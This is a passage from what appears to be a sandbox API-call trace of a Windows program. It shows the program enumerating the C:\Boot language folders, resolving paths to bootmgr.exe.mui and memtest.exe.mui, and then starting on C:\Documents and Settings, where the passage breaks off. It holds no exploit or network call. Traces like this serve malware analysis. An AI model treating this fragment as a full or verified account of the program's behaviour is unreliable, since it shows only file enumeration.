lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0117.396] GetCurrentThreadId () returned 0x9b0 [0117.397] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.397] GetCurrentThreadId () returned 0x9b0 [0117.397] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.397] GetCurrentThreadId () returned 0x9b0 [0117.397] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.397] GetCurrentThreadId () returned 0x9b0 [0117.397] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.397] GetCurrentThreadId () returned 0x9b0 [0117.397] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0117.398] GetCurrentThreadId () returned 0x9b0 [0117.398] GetFileAttributesA (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0117.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0117.398] GetFileAttributesA (lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0117.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.398] GetCurrentThreadId () returned 0x9b0 [0117.399] GetFullPathNameA (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\tr-TR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.399] GetCurrentThreadId () returned 0x9b0 [0117.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0117.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0117.399] GetFullPathNameA (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\tr-TR\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.399] GetCurrentThreadId () returned 0x9b0 [0117.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0117.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0117.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.400] GetCurrentThreadId () returned 0x9b0 [0117.400] FindFirstFileA (in: lpFileName="C:\\Boot\\uk-UA\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0117.400] GetCurrentThreadId () returned 0x9b0 [0117.400] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.400] GetCurrentThreadId () returned 0x9b0 [0117.400] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.400] GetCurrentThreadId () returned 0x9b0 [0117.401] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.401] GetCurrentThreadId () returned 0x9b0 [0117.401] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0117.401] GetFileAttributesA (lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0117.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0117.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0117.401] GetCurrentThreadId () returned 0x9b0 [0117.402] GetFullPathNameA (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\uk-UA\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.402] GetCurrentThreadId () returned 0x9b0 [0117.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.402] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0117.402] GetCurrentThreadId () returned 0x9b0 [0117.402] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.403] GetCurrentThreadId () returned 0x9b0 [0117.403] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.403] GetCurrentThreadId () returned 0x9b0 [0117.403] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.403] GetCurrentThreadId () returned 0x9b0 [0117.403] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.403] GetCurrentThreadId () returned 0x9b0 [0117.403] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0117.403] GetCurrentThreadId () returned 0x9b0 [0117.404] GetFileAttributesA (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0117.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.404] GetFileAttributesA (lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0117.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.404] GetCurrentThreadId () returned 0x9b0 [0117.404] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-CN\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.405] GetCurrentThreadId () returned 0x9b0 [0117.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0117.405] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-CN\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.405] GetCurrentThreadId () returned 0x9b0 [0117.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.406] GetCurrentThreadId () returned 0x9b0 [0117.406] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0117.406] GetCurrentThreadId () returned 0x9b0 [0117.406] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.406] GetCurrentThreadId () returned 0x9b0 [0117.406] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.406] GetCurrentThreadId () returned 0x9b0 [0117.407] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.407] GetCurrentThreadId () returned 0x9b0 [0117.407] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.407] GetCurrentThreadId () returned 0x9b0 [0117.407] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0117.407] GetFileAttributesA (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0117.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0117.407] GetCurrentThreadId () returned 0x9b0 [0117.408] GetFileAttributesA (lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0117.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.408] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-HK\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.408] GetCurrentThreadId () returned 0x9b0 [0117.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0117.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0117.409] GetCurrentThreadId () returned 0x9b0 [0117.409] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-HK\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0117.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0117.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.409] GetCurrentThreadId () returned 0x9b0 [0117.409] FindFirstFileA (in: lpFileName="C:\\Boot\\zh-TW\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0117.409] GetCurrentThreadId () returned 0x9b0 [0117.410] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.410] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.410] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0117.410] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0117.410] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0117.410] GetFileAttributesA (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui")) returned 0x20 [0117.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0117.411] GetFileAttributesA (lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui")) returned 0x20 [0117.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.411] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0117.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0117.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.412] GetFullPathNameA (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\zh-TW\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0117.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0117.412] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x44, ftCreationTime.dwLowDateTime=0x1030000, 